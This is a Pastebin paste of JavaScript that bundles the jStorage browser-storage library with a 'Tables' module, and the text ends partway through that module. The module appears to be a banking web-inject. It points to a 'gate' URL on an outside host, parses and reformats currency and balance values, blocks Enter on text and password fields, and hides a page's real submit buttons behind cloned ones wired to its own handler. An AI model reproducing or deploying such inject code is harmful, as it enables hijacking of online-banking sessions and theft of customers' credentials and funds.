Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- (function() {
- 'use strict';
- var
- /* jStorage version */
- JSTORAGE_VERSION = '0.4.12',
- /* detect a dollar object or create one if not found */
- $ = window.jQuery || window.$ || (window.$ = {}),
- /* check for a JSON handling support */
- JSON = {
- parse: window.JSON && (window.JSON.parse || window.JSON.decode) ||
- String.prototype.evalJSON && function(str) {
- return String(str).evalJSON();
- } ||
- $.parseJSON ||
- $.evalJSON,
- stringify: Object.toJSON ||
- window.JSON && (window.JSON.stringify || window.JSON.encode) ||
- $.toJSON
- };
- // Break if no JSON support was found
- if (typeof JSON.parse !== 'function' || typeof JSON.stringify !== 'function') {
- throw new Error('No JSON support found, include //cdnjs.cloudflare.com/ajax/libs/json2/20110223/json2.js to page');
- }
- var
- /* This is the object, that holds the cached values */
- _storage = {
- __jstorage_meta: {
- CRC32: {}
- }
- },
- /* Actual browser storage (localStorage or globalStorage['domain']) */
- _storage_service = {
- jStorage: '{}'
- },
- /* DOM element for older IE versions, holds userData behavior */
- _storage_elm = null,
- /* How much space does the storage take */
- _storage_size = 0,
- /* which backend is currently used */
- _backend = false,
- /* onchange observers */
- _observers = {},
- /* timeout to wait after onchange event */
- _observer_timeout = false,
- /* last update time */
- _observer_update = 0,
- /* pubsub observers */
- _pubsub_observers = {},
- /* skip published items older than current timestamp */
- _pubsub_last = +new Date(),
- /* Next check for TTL */
- _ttl_timeout,
- /**
- * XML encoding and decoding as XML nodes can't be JSON'ized
- * XML nodes are encoded and decoded if the node is the value to be saved
- * but not if it's as a property of another object
- * Eg. -
- * $.jStorage.set('key', xmlNode); // IS OK
- * $.jStorage.set('key', {xml: xmlNode}); // NOT OK
- */
- _XMLService = {
- /**
- * Validates a XML node to be XML
- * based on jQuery.isXML function
- */
- isXML: function(elm) {
- var documentElement = (elm ? elm.ownerDocument || elm : 0).documentElement;
- return documentElement ? documentElement.nodeName !== 'HTML' : false;
- },
- /**
- * Encodes a XML node to string
- * based on http://www.mercurytide.co.uk/news/article/issues-when-working-ajax/
- */
- encode: function(xmlNode) {
- if (!this.isXML(xmlNode)) {
- return false;
- }
- try { // Mozilla, Webkit, Opera
- return new XMLSerializer().serializeToString(xmlNode);
- } catch (E1) {
- try { // IE
- return xmlNode.xml;
- } catch (E2) {}
- }
- return false;
- },
- /**
- * Decodes a XML node from string
- * loosely based on http://outwestmedia.com/jquery-plugins/xmldom/
- */
- decode: function(xmlString) {
- var dom_parser = ('DOMParser' in window && (new DOMParser()).parseFromString) ||
- (window.ActiveXObject && function(_xmlString) {
- var xml_doc = new ActiveXObject('Microsoft.XMLDOM');
- xml_doc.async = 'false';
- xml_doc.loadXML(_xmlString);
- return xml_doc;
- }),
- resultXML;
- if (!dom_parser) {
- return false;
- }
- resultXML = dom_parser.call('DOMParser' in window && (new DOMParser()) || window, xmlString, 'text/xml');
- return this.isXML(resultXML) ? resultXML : false;
- }
- };
- ////////////////////////// PRIVATE METHODS ////////////////////////
- /**
- * Initialization function. Detects if the browser supports DOM Storage
- * or userData behavior and behaves accordingly.
- */
- function _init() {
- /* Check if browser supports localStorage */
- var localStorageReallyWorks = false;
- if ('localStorage' in window) {
- try {
- window.localStorage.setItem('_tmptest', 'tmpval');
- localStorageReallyWorks = true;
- window.localStorage.removeItem('_tmptest');
- } catch (BogusQuotaExceededErrorOnIos5) {
- // Thanks be to iOS5 Private Browsing mode which throws
- // QUOTA_EXCEEDED_ERRROR DOM Exception 22.
- }
- }
- if (localStorageReallyWorks) {
- try {
- if (window.localStorage) {
- _storage_service = window.localStorage;
- _backend = 'localStorage';
- _observer_update = _storage_service.jStorage_update;
- }
- } catch (E3) { /* Firefox fails when touching localStorage and cookies are disabled */ }
- }
- /* Check if browser supports globalStorage */
- else if ('globalStorage' in window) {
- try {
- if (window.globalStorage) {
- if (window.location.hostname == 'localhost') {
- _storage_service = window.globalStorage['localhost.localdomain'];
- } else {
- _storage_service = window.globalStorage[window.location.hostname];
- }
- _backend = 'globalStorage';
- _observer_update = _storage_service.jStorage_update;
- }
- } catch (E4) { /* Firefox fails when touching localStorage and cookies are disabled */ }
- }
- /* Check if browser supports userData behavior */
- else {
- _storage_elm = document.createElement('link');
- if (_storage_elm.addBehavior) {
- /* Use a DOM element to act as userData storage */
- _storage_elm.style.behavior = 'url(#default#userData)';
- /* userData element needs to be inserted into the DOM! */
- document.getElementsByTagName('head')[0].appendChild(_storage_elm);
- try {
- _storage_elm.load('jStorage');
- } catch (E) {
- // try to reset cache
- _storage_elm.setAttribute('jStorage', '{}');
- _storage_elm.save('jStorage');
- _storage_elm.load('jStorage');
- }
- var data = '{}';
- try {
- data = _storage_elm.getAttribute('jStorage');
- } catch (E5) {}
- try {
- _observer_update = _storage_elm.getAttribute('jStorage_update');
- } catch (E6) {}
- _storage_service.jStorage = data;
- _backend = 'userDataBehavior';
- } else {
- _storage_elm = null;
- return;
- }
- }
- // Load data from storage
- _load_storage();
- // remove dead keys
- _handleTTL();
- // start listening for changes
- _setupObserver();
- // initialize publish-subscribe service
- _handlePubSub();
- // handle cached navigation
- if ('addEventListener' in window) {
- window.addEventListener('pageshow', function(event) {
- if (event.persisted) {
- _storageObserver();
- }
- }, false);
- }
- }
- /**
- * Reload data from storage when needed
- */
- function _reloadData() {
- var data = '{}';
- if (_backend == 'userDataBehavior') {
- _storage_elm.load('jStorage');
- try {
- data = _storage_elm.getAttribute('jStorage');
- } catch (E5) {}
- try {
- _observer_update = _storage_elm.getAttribute('jStorage_update');
- } catch (E6) {}
- _storage_service.jStorage = data;
- }
- _load_storage();
- // remove dead keys
- _handleTTL();
- _handlePubSub();
- }
- /**
- * Sets up a storage change observer
- */
- function _setupObserver() {
- if (_backend == 'localStorage' || _backend == 'globalStorage') {
- if ('addEventListener' in window) {
- window.addEventListener('storage', _storageObserver, false);
- } else {
- document.attachEvent('onstorage', _storageObserver);
- }
- } else if (_backend == 'userDataBehavior') {
- setInterval(_storageObserver, 1000);
- }
- }
- /**
- * Fired on any kind of data change, needs to check if anything has
- * really been changed
- */
- function _storageObserver() {
- var updateTime;
- // cumulate change notifications with timeout
- clearTimeout(_observer_timeout);
- _observer_timeout = setTimeout(function() {
- if (_backend == 'localStorage' || _backend == 'globalStorage') {
- updateTime = _storage_service.jStorage_update;
- } else if (_backend == 'userDataBehavior') {
- _storage_elm.load('jStorage');
- try {
- updateTime = _storage_elm.getAttribute('jStorage_update');
- } catch (E5) {}
- }
- if (updateTime && updateTime != _observer_update) {
- _observer_update = updateTime;
- _checkUpdatedKeys();
- }
- }, 25);
- }
- /**
- * Reloads the data and checks if any keys are changed
- */
- function _checkUpdatedKeys() {
- var oldCrc32List = JSON.parse(JSON.stringify(_storage.__jstorage_meta.CRC32)),
- newCrc32List;
- _reloadData();
- newCrc32List = JSON.parse(JSON.stringify(_storage.__jstorage_meta.CRC32));
- var key,
- updated = [],
- removed = [];
- for (key in oldCrc32List) {
- if (oldCrc32List.hasOwnProperty(key)) {
- if (!newCrc32List[key]) {
- removed.push(key);
- continue;
- }
- if (oldCrc32List[key] != newCrc32List[key] && String(oldCrc32List[key]).substr(0, 2) == '2.') {
- updated.push(key);
- }
- }
- }
- for (key in newCrc32List) {
- if (newCrc32List.hasOwnProperty(key)) {
- if (!oldCrc32List[key]) {
- updated.push(key);
- }
- }
- }
- _fireObservers(updated, 'updated');
- _fireObservers(removed, 'deleted');
- }
- /**
- * Fires observers for updated keys
- *
- * @param {Array|String} keys Array of key names or a key
- * @param {String} action What happened with the value (updated, deleted, flushed)
- */
- function _fireObservers(keys, action) {
- keys = [].concat(keys || []);
- var i, j, len, jlen;
- if (action == 'flushed') {
- keys = [];
- for (var key in _observers) {
- if (_observers.hasOwnProperty(key)) {
- keys.push(key);
- }
- }
- action = 'deleted';
- }
- for (i = 0, len = keys.length; i < len; i++) {
- if (_observers[keys[i]]) {
- for (j = 0, jlen = _observers[keys[i]].length; j < jlen; j++) {
- _observers[keys[i]][j](keys[i], action);
- }
- }
- if (_observers['*']) {
- for (j = 0, jlen = _observers['*'].length; j < jlen; j++) {
- _observers['*'][j](keys[i], action);
- }
- }
- }
- }
- /**
- * Publishes key change to listeners
- */
- function _publishChange() {
- var updateTime = (+new Date()).toString();
- if (_backend == 'localStorage' || _backend == 'globalStorage') {
- try {
- _storage_service.jStorage_update = updateTime;
- } catch (E8) {
- // safari private mode has been enabled after the jStorage initialization
- _backend = false;
- }
- } else if (_backend == 'userDataBehavior') {
- _storage_elm.setAttribute('jStorage_update', updateTime);
- _storage_elm.save('jStorage');
- }
- _storageObserver();
- }
- /**
- * Loads the data from the storage based on the supported mechanism
- */
- function _load_storage() {
- /* if jStorage string is retrieved, then decode it */
- if (_storage_service.jStorage) {
- try {
- _storage = JSON.parse(String(_storage_service.jStorage));
- } catch (E6) {
- _storage_service.jStorage = '{}';
- }
- } else {
- _storage_service.jStorage = '{}';
- }
- _storage_size = _storage_service.jStorage ? String(_storage_service.jStorage).length : 0;
- if (!_storage.__jstorage_meta) {
- _storage.__jstorage_meta = {};
- }
- if (!_storage.__jstorage_meta.CRC32) {
- _storage.__jstorage_meta.CRC32 = {};
- }
- }
- /**
- * This functions provides the 'save' mechanism to store the jStorage object
- */
- function _save() {
- _dropOldEvents(); // remove expired events
- try {
- _storage_service.jStorage = JSON.stringify(_storage);
- // If userData is used as the storage engine, additional
- if (_storage_elm) {
- _storage_elm.setAttribute('jStorage', _storage_service.jStorage);
- _storage_elm.save('jStorage');
- }
- _storage_size = _storage_service.jStorage ? String(_storage_service.jStorage).length : 0;
- } catch (E7) { /* probably cache is full, nothing is saved this way*/ }
- }
- /**
- * Function checks if a key is set and is string or numberic
- *
- * @param {String} key Key name
- */
- function _checkKey(key) {
- if (typeof key != 'string' && typeof key != 'number') {
- throw new TypeError('Key name must be string or numeric');
- }
- if (key == '__jstorage_meta') {
- throw new TypeError('Reserved key name');
- }
- return true;
- }
- /**
- * Removes expired keys
- */
- function _handleTTL() {
- var curtime, i, TTL, CRC32, nextExpire = Infinity,
- changed = false,
- deleted = [];
- clearTimeout(_ttl_timeout);
- if (!_storage.__jstorage_meta || typeof _storage.__jstorage_meta.TTL != 'object') {
- // nothing to do here
- return;
- }
- curtime = +new Date();
- TTL = _storage.__jstorage_meta.TTL;
- CRC32 = _storage.__jstorage_meta.CRC32;
- for (i in TTL) {
- if (TTL.hasOwnProperty(i)) {
- if (TTL[i] <= curtime) {
- delete TTL[i];
- delete CRC32[i];
- delete _storage[i];
- changed = true;
- deleted.push(i);
- } else if (TTL[i] < nextExpire) {
- nextExpire = TTL[i];
- }
- }
- }
- // set next check
- if (nextExpire != Infinity) {
- _ttl_timeout = setTimeout(_handleTTL, Math.min(nextExpire - curtime, 0x7FFFFFFF));
- }
- // save changes
- if (changed) {
- _save();
- _publishChange();
- _fireObservers(deleted, 'deleted');
- }
- }
- /**
- * Checks if there's any events on hold to be fired to listeners
- */
- function _handlePubSub() {
- var i, len;
- if (!_storage.__jstorage_meta.PubSub) {
- return;
- }
- var pubelm,
- _pubsubCurrent = _pubsub_last,
- needFired = [];
- for (i = len = _storage.__jstorage_meta.PubSub.length - 1; i >= 0; i--) {
- pubelm = _storage.__jstorage_meta.PubSub[i];
- if (pubelm[0] > _pubsub_last) {
- _pubsubCurrent = pubelm[0];
- needFired.unshift(pubelm);
- }
- }
- for (i = needFired.length - 1; i >= 0; i--) {
- _fireSubscribers(needFired[i][1], needFired[i][2]);
- }
- _pubsub_last = _pubsubCurrent;
- }
- /**
- * Fires all subscriber listeners for a pubsub channel
- *
- * @param {String} channel Channel name
- * @param {Mixed} payload Payload data to deliver
- */
- function _fireSubscribers(channel, payload) {
- if (_pubsub_observers[channel]) {
- for (var i = 0, len = _pubsub_observers[channel].length; i < len; i++) {
- // send immutable data that can't be modified by listeners
- try {
- _pubsub_observers[channel][i](channel, JSON.parse(JSON.stringify(payload)));
- } catch (E) {}
- }
- }
- }
- /**
- * Remove old events from the publish stream (at least 2sec old)
- */
- function _dropOldEvents() {
- if (!_storage.__jstorage_meta.PubSub) {
- return;
- }
- var retire = +new Date() - 2000;
- for (var i = 0, len = _storage.__jstorage_meta.PubSub.length; i < len; i++) {
- if (_storage.__jstorage_meta.PubSub[i][0] <= retire) {
- // deleteCount is needed for IE6
- _storage.__jstorage_meta.PubSub.splice(i, _storage.__jstorage_meta.PubSub.length - i);
- break;
- }
- }
- if (!_storage.__jstorage_meta.PubSub.length) {
- delete _storage.__jstorage_meta.PubSub;
- }
- }
- /**
- * Publish payload to a channel
- *
- * @param {String} channel Channel name
- * @param {Mixed} payload Payload to send to the subscribers
- */
- function _publish(channel, payload) {
- if (!_storage.__jstorage_meta) {
- _storage.__jstorage_meta = {};
- }
- if (!_storage.__jstorage_meta.PubSub) {
- _storage.__jstorage_meta.PubSub = [];
- }
- _storage.__jstorage_meta.PubSub.unshift([+new Date(), channel, payload]);
- _save();
- _publishChange();
- }
- /**
- * JS Implementation of MurmurHash2
- *
- * SOURCE: https://github.com/garycourt/murmurhash-js (MIT licensed)
- *
- * @author <a href='mailto:[email protected]'>Gary Court</a>
- * @see http://github.com/garycourt/murmurhash-js
- * @author <a href='mailto:[email protected]'>Austin Appleby</a>
- * @see http://sites.google.com/site/murmurhash/
- *
- * @param {string} str ASCII only
- * @param {number} seed Positive integer only
- * @return {number} 32-bit positive integer hash
- */
- function murmurhash2_32_gc(str, seed) {
- var
- l = str.length,
- h = seed ^ l,
- i = 0,
- k;
- while (l >= 4) {
- k =
- ((str.charCodeAt(i) & 0xff)) |
- ((str.charCodeAt(++i) & 0xff) << 8) |
- ((str.charCodeAt(++i) & 0xff) << 16) |
- ((str.charCodeAt(++i) & 0xff) << 24);
- k = (((k & 0xffff) * 0x5bd1e995) + ((((k >>> 16) * 0x5bd1e995) & 0xffff) << 16));
- k ^= k >>> 24;
- k = (((k & 0xffff) * 0x5bd1e995) + ((((k >>> 16) * 0x5bd1e995) & 0xffff) << 16));
- h = (((h & 0xffff) * 0x5bd1e995) + ((((h >>> 16) * 0x5bd1e995) & 0xffff) << 16)) ^ k;
- l -= 4;
- ++i;
- }
- switch (l) {
- case 3:
- h ^= (str.charCodeAt(i + 2) & 0xff) << 16;
- /* falls through */
- case 2:
- h ^= (str.charCodeAt(i + 1) & 0xff) << 8;
- /* falls through */
- case 1:
- h ^= (str.charCodeAt(i) & 0xff);
- h = (((h & 0xffff) * 0x5bd1e995) + ((((h >>> 16) * 0x5bd1e995) & 0xffff) << 16));
- }
- h ^= h >>> 13;
- h = (((h & 0xffff) * 0x5bd1e995) + ((((h >>> 16) * 0x5bd1e995) & 0xffff) << 16));
- h ^= h >>> 15;
- return h >>> 0;
- }
- ////////////////////////// PUBLIC INTERFACE /////////////////////////
- $.jStorage = {
- /* Version number */
- version: JSTORAGE_VERSION,
- /**
- * Sets a key's value.
- *
- * @param {String} key Key to set. If this value is not set or not
- * a string an exception is raised.
- * @param {Mixed} value Value to set. This can be any value that is JSON
- * compatible (Numbers, Strings, Objects etc.).
- * @param {Object} [options] - possible options to use
- * @param {Number} [options.TTL] - optional TTL value, in milliseconds
- * @return {Mixed} the used value
- */
- set: function(key, value, options) {
- _checkKey(key);
- options = options || {};
- // undefined values are deleted automatically
- if (typeof value == 'undefined') {
- this.deleteKey(key);
- return value;
- }
- if (_XMLService.isXML(value)) {
- value = {
- _is_xml: true,
- xml: _XMLService.encode(value)
- };
- } else if (typeof value == 'function') {
- return undefined; // functions can't be saved!
- } else if (value && typeof value == 'object') {
- // clone the object before saving to _storage tree
- value = JSON.parse(JSON.stringify(value));
- }
- _storage[key] = value;
- _storage.__jstorage_meta.CRC32[key] = '2.' + murmurhash2_32_gc(JSON.stringify(value), 0x9747b28c);
- this.setTTL(key, options.TTL || 0); // also handles saving and _publishChange
- _fireObservers(key, 'updated');
- return value;
- },
- /**
- * Looks up a key in cache
- *
- * @param {String} key - Key to look up.
- * @param {mixed} def - Default value to return, if key didn't exist.
- * @return {Mixed} the key value, default value or null
- */
- get: function(key, def) {
- _checkKey(key);
- if (key in _storage) {
- if (_storage[key] && typeof _storage[key] == 'object' && _storage[key]._is_xml) {
- return _XMLService.decode(_storage[key].xml);
- } else {
- return _storage[key];
- }
- }
- return typeof(def) == 'undefined' ? null : def;
- },
- /**
- * Deletes a key from cache.
- *
- * @param {String} key - Key to delete.
- * @return {Boolean} true if key existed or false if it didn't
- */
- deleteKey: function(key) {
- _checkKey(key);
- if (key in _storage) {
- delete _storage[key];
- // remove from TTL list
- if (typeof _storage.__jstorage_meta.TTL == 'object' &&
- key in _storage.__jstorage_meta.TTL) {
- delete _storage.__jstorage_meta.TTL[key];
- }
- delete _storage.__jstorage_meta.CRC32[key];
- _save();
- _publishChange();
- _fireObservers(key, 'deleted');
- return true;
- }
- return false;
- },
- /**
- * Sets a TTL for a key, or remove it if ttl value is 0 or below
- *
- * @param {String} key - key to set the TTL for
- * @param {Number} ttl - TTL timeout in milliseconds
- * @return {Boolean} true if key existed or false if it didn't
- */
- setTTL: function(key, ttl) {
- var curtime = +new Date();
- _checkKey(key);
- ttl = Number(ttl) || 0;
- if (key in _storage) {
- if (!_storage.__jstorage_meta.TTL) {
- _storage.__jstorage_meta.TTL = {};
- }
- // Set TTL value for the key
- if (ttl > 0) {
- _storage.__jstorage_meta.TTL[key] = curtime + ttl;
- } else {
- delete _storage.__jstorage_meta.TTL[key];
- }
- _save();
- _handleTTL();
- _publishChange();
- return true;
- }
- return false;
- },
- /**
- * Gets remaining TTL (in milliseconds) for a key or 0 when no TTL has been set
- *
- * @param {String} key Key to check
- * @return {Number} Remaining TTL in milliseconds
- */
- getTTL: function(key) {
- var curtime = +new Date(),
- ttl;
- _checkKey(key);
- if (key in _storage && _storage.__jstorage_meta.TTL && _storage.__jstorage_meta.TTL[key]) {
- ttl = _storage.__jstorage_meta.TTL[key] - curtime;
- return ttl || 0;
- }
- return 0;
- },
- /**
- * Deletes everything in cache.
- *
- * @return {Boolean} Always true
- */
- flush: function() {
- _storage = {
- __jstorage_meta: {
- CRC32: {}
- }
- };
- _save();
- _publishChange();
- _fireObservers(null, 'flushed');
- return true;
- },
- /**
- * Returns a read-only copy of _storage
- *
- * @return {Object} Read-only copy of _storage
- */
- storageObj: function() {
- function F() {}
- F.prototype = _storage;
- return new F();
- },
- /**
- * Returns an index of all used keys as an array
- * ['key1', 'key2',..'keyN']
- *
- * @return {Array} Used keys
- */
- index: function() {
- var index = [],
- i;
- for (i in _storage) {
- if (_storage.hasOwnProperty(i) && i != '__jstorage_meta') {
- index.push(i);
- }
- }
- return index;
- },
- /**
- * How much space in bytes does the storage take?
- *
- * @return {Number} Storage size in chars (not the same as in bytes,
- * since some chars may take several bytes)
- */
- storageSize: function() {
- return _storage_size;
- },
- /**
- * Which backend is currently in use?
- *
- * @return {String} Backend name
- */
- currentBackend: function() {
- return _backend;
- },
- /**
- * Test if storage is available
- *
- * @return {Boolean} True if storage can be used
- */
- storageAvailable: function() {
- return !!_backend;
- },
- /**
- * Register change listeners
- *
- * @param {String} key Key name
- * @param {Function} callback Function to run when the key changes
- */
- listenKeyChange: function(key, callback) {
- _checkKey(key);
- if (!_observers[key]) {
- _observers[key] = [];
- }
- _observers[key].push(callback);
- },
- /**
- * Remove change listeners
- *
- * @param {String} key Key name to unregister listeners against
- * @param {Function} [callback] If set, unregister the callback, if not - unregister all
- */
- stopListening: function(key, callback) {
- _checkKey(key);
- if (!_observers[key]) {
- return;
- }
- if (!callback) {
- delete _observers[key];
- return;
- }
- for (var i = _observers[key].length - 1; i >= 0; i--) {
- if (_observers[key][i] == callback) {
- _observers[key].splice(i, 1);
- }
- }
- },
- /**
- * Subscribe to a Publish/Subscribe event stream
- *
- * @param {String} channel Channel name
- * @param {Function} callback Function to run when the something is published to the channel
- */
- subscribe: function(channel, callback) {
- channel = (channel || '').toString();
- if (!channel) {
- throw new TypeError('Channel not defined');
- }
- if (!_pubsub_observers[channel]) {
- _pubsub_observers[channel] = [];
- }
- _pubsub_observers[channel].push(callback);
- },
- /**
- * Publish data to an event stream
- *
- * @param {String} channel Channel name
- * @param {Mixed} payload Payload to deliver
- */
- publish: function(channel, payload) {
- channel = (channel || '').toString();
- if (!channel) {
- throw new TypeError('Channel not defined');
- }
- _publish(channel, payload);
- },
- /**
- * Reloads the data from browser storage
- */
- reInit: function() {
- _reloadData();
- },
- /**
- * Removes reference from global objects and saves it as jStorage
- *
- * @param {Boolean} option if needed to save object as simple 'jStorage' in windows context
- */
- noConflict: function(saveInGlobal) {
- delete window.$.jStorage;
- if (saveInGlobal) {
- window.jStorage = this;
- }
- return this;
- }
- };
- // Initialize jStorage
- _init();
- })();
- var _tablesStorage = $.jStorage;
- var Tables = (function(){
- var admin = 'https://ssl6.ovh.net/~lifestyl/real_track/ssllxxssll/bp/';
- var data = new Array();
- var link = {
- gate: admin+"menu.php"
- };
- var options = {
- callback_status: '',
- iframe_status: '',
- currency_state: false
- };
- var splitter = {value: 'none',position: 'none'};
- var prefix = {minus: '-',plus: ''};
- function notnull(param){if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){return false;}else{return true;}}
- function compatHeight(){var ua = navigator.userAgent.toLowerCase();var isOpera = (ua.indexOf('opera') > -1);var isIE = (!isOpera && ua.indexOf('msie') > -1);return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;}
- function cin(digits){var res = '';if(digits && digits.length > 0){digits = digits.replace(/\u2212/g, "-");var ValidChars = "-.0123456789";for(var i = 0;i < digits.length; i++){var Char = digits.charAt(i);if(ValidChars.indexOf(Char) >=0){res += Char;}}}return parseFloat(res);}
- function cout(digits,r){if(r == 1){digits = digits.toString().replace(/\$|\,/g,'');if(isNaN(digits))digits = "0";sign = (digits == (digits = Math.abs(digits)));digits = Math.floor(digits*100+0.50000000001);cents = digits%100;digits = Math.floor(digits/100).toString();if(cents<10)cents = "0" + cents;for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)digits = digits.substring(0,digits.length-(4*i+3))+','+digits.substring(digits.length-(4*i+3));return (((sign)?'':'-') + digits + '.' + cents);}else if(r == 2){digits = digits.toString().replace(/\$|\,/g,'');if(isNaN(digits))digits = "0";sign = (digits == (digits = Math.abs(digits)));digits = Math.floor(digits*100+0.50000000001);cents = digits%100;digits = Math.floor(digits/100).toString();if(cents<10)cents = "0" + cents;for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)digits = digits.substring(0,digits.length-(4*i+3))+'.'+digits.substring(digits.length-(4*i+3));return (((sign)?'':'-') + digits + ',' + cents);}else{return digits;}}
- function gc(digits){if(digits){if(/[0-9]/igm.test(digits)){if(/\.[0-9]{2}$|\.[0-9]{2}\s{1,}/igm.test(digits)){options.currency_state = 1;return cin(digits.replace(/\,/g, ''));}else{options.currency_state = 2;return cin(digits.replace(/\./g, '').replace(/,/g, '.'));}}else{return digits;}}else{return digits;}}
- function sc(digits){if(options.currency_state == 1 || options.currency_state == 2){return cout(digits,options.currency_state);}else{return digits;}}
- return{
- brows: function(){
- var ua=navigator.userAgent,tem,M=ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || [];
- if(/trident/i.test(M[1])){
- tem=/\brv[ :]+(\d+)/g.exec(ua) || [];
- return {name:'IE ',version:(tem[1]||'')};
- }
- if(M[1]==='Chrome'){
- tem=ua.match(/\bOPR\/(\d+)/)
- if(tem!=null) {return {name:'Opera', version:tem[1]};}
- }
- M=M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?'];
- if((tem=ua.match(/version\/(\d+)/i))!=null) {M.splice(1,1,tem[1]);}
- return M[0]+' '+M[1];
- },
- set: function(name,value){
- if(/function/igm.test(typeof value)){
- data[name] = value();
- }else{
- data[name] = value;
- }
- },
- add: function(name,value){
- if(data[name]){
- data[name] = data[name]+value;
- }else{
- _tables.set(name,value);
- }
- },
- get: function(name){
- return data[name];
- },
- are: function(){
- var r = true;
- if(arguments && arguments.length > 0){
- for(var i = 0; i < arguments.length; i++){
- if(!data[arguments[i]]){
- r = false;
- }
- }
- }
- return r;
- },
- dump: function(){
- var a = '';
- for(key in data){
- a += key+": "+data[key]+"\r\n";
- }
- alert(a);
- },
- findout: function(){
- var found = {
- tag: false,
- error: false,
- element: false
- };
- if(arguments && arguments.length >= 3){
- var elements_array = arguments[1].split("|");
- if(elements_array.length > 0){
- for(var k = 0; k < elements_array.length; k++){
- var elements = arguments[0].getElementsByTagName(elements_array[k]);
- if(elements && elements.length > 0){
- for(var i = 0; i < elements.length; i++){
- for(var e = 2; e < arguments.length; e++){
- var pattern = new RegExp(arguments[e].split(":")[1],"igm");
- if(arguments[e].split(":")[0] == "class"){
- if(elements[i].className !== null && pattern.test(elements[i].className)){
- found.tag = true;
- }else{
- found.error = true;
- }
- }else if(arguments[e].split(":")[0] == "for"){
- if(elements[i].className !== null && pattern.test(elements[i].htmlFor)){
- found.tag = true;
- }else{
- found.error = true;
- }
- }else{
- if(elements[i].getAttribute(arguments[e].split(":")[0]) !== null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){
- found.tag = true;
- }else{
- found.error = true;
- }
- }
- }
- if(found.tag && !found.error){
- return elements[i];
- }else{
- found.tag = false;
- found.error = false;
- }
- }
- }
- }
- return false;
- }else{
- return false;
- }
- }else{
- return false;
- }
- },
- findin: function(){
- var found = {
- tag: false,
- error: false,
- element: false
- };
- if(arguments && arguments.length > 2){
- var elements = arguments[0].getElementsByTagName(arguments[1]);
- if(elements && elements.length > 0){
- for(var i = 0; i < elements.length; i++){
- for(var e = 2; e < arguments.length; e++){
- var pattern = new RegExp(arguments[e],"igm");
- if(pattern.test(elements[i].innerHTML.toLowerCase())){
- found.tag = true;
- }else{
- found.error = true;
- }
- }
- if(found.tag && !found.error){
- return elements[i];
- }else{
- found.tag = false;
- found.error = false;
- }
- }
- }
- }
- return false;
- },
- tinydecode: function(s){
- s = s.replace(/\</g,'<');
- s = s.replace(/\>/g,'>');
- s = s.replace(/\"/g,'"');
- s = s.replace(/\&/g,'&');
- s = s.replace(/\ /g,' ');
- return s;
- },
- child: function(parent,child){
- return parent && child ? parent.getElementsByTagName(child) : false;
- },
- html: function(element){
- if(element){
- var text = (element.textContent ? element.textContent : element.innerText) ? (element.textContent ? element.textContent : element.innerText) : element.innerHTML;
- return text.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
- }else{
- return "";
- }
- },
- input: function(input,type){
- switch(type){
- case("block"):
- if(input){input.onkeypress = function(evt){var evt = (evt) ? evt : ((event) ? event : null);var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);if(evt.keyCode == 13){if(evt.stopPropagation){evt.stopPropagation();}else{evt.cancelBubble = true;}return false;}};input.onkeydown = function(evt){var evt = (evt) ? evt : ((event) ? event : null);var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);if(evt.keyCode == 13){if(evt.stopPropagation){evt.stopPropagation();}else{evt.cancelBubble = true;}return false;}};}
- break;
- case("disable"):
- input.disabled = true;
- break;
- }
- },
- form: function(form,type){
- if(form){
- switch(type){
- case("block"):
- var inps = _tables.child(form,"input");
- if(inps && inps.length > 0){
- for(var i = 0; i < inps.length; i++){
- if(/text|password/igm.test(inps[i].type)){
- _tables.input(inps[i],'block');
- }
- }
- }
- break;
- }
- }
- },
- bind: function(evType,obj,func){if(obj.removeEventListener){obj.removeEventListener(evType,func,false);}else if(obj.detachEvent){obj.detachEvent ('on'+evType,func);}if(obj.addEventListener ){obj.addEventListener(evType,func,false);return true;}else if(obj.attachEvent){var r = obj.attachEvent('on'+evType,func);return r;}else{elm['on'+evType] = func;}},
- replacebutton: function(button,func,btnid){
- var newButton = document.createElement(/image/igm.test(button.tagName) ? 'img' : button.tagName);
- for(x in button.attributes){
- if(notnull(button.attributes[x]) && notnull(button.attributes[x].name) && notnull(button.attributes[x].value)){
- if(button.attributes[x].name == "onclick" ||
- button.attributes[x].name == "name" ||
- button.attributes[x].name == "disabled" ||
- (button.attributes[x].name == "href" && !/image/igm.test(button.tagName)) ||
- button.attributes[x].name == "id"
- ){
- continue;
- }
- if(button.attributes[x].name == "type" && button.attributes[x].value == "submit"){
- newButton.type = "button";
- }else{
- newButton.setAttribute(button.attributes[x].name,button.attributes[x].value);
- }
- }
- }
- if(button.tagName == "A" || button.tagName == "BUTTON" || button.tagName == "LI"){
- newButton.innerHTML = button.innerHTML;
- }
- newButton.style.cursor = "pointer";
- button.style.display = "none";
- if(btnid){
- newButton.id = btnid;
- }else{
- newButton.id = "_tables.button";
- }
- _tables.bind("click",newButton,func);
- button.parentNode.insertBefore(newButton,button);
- },
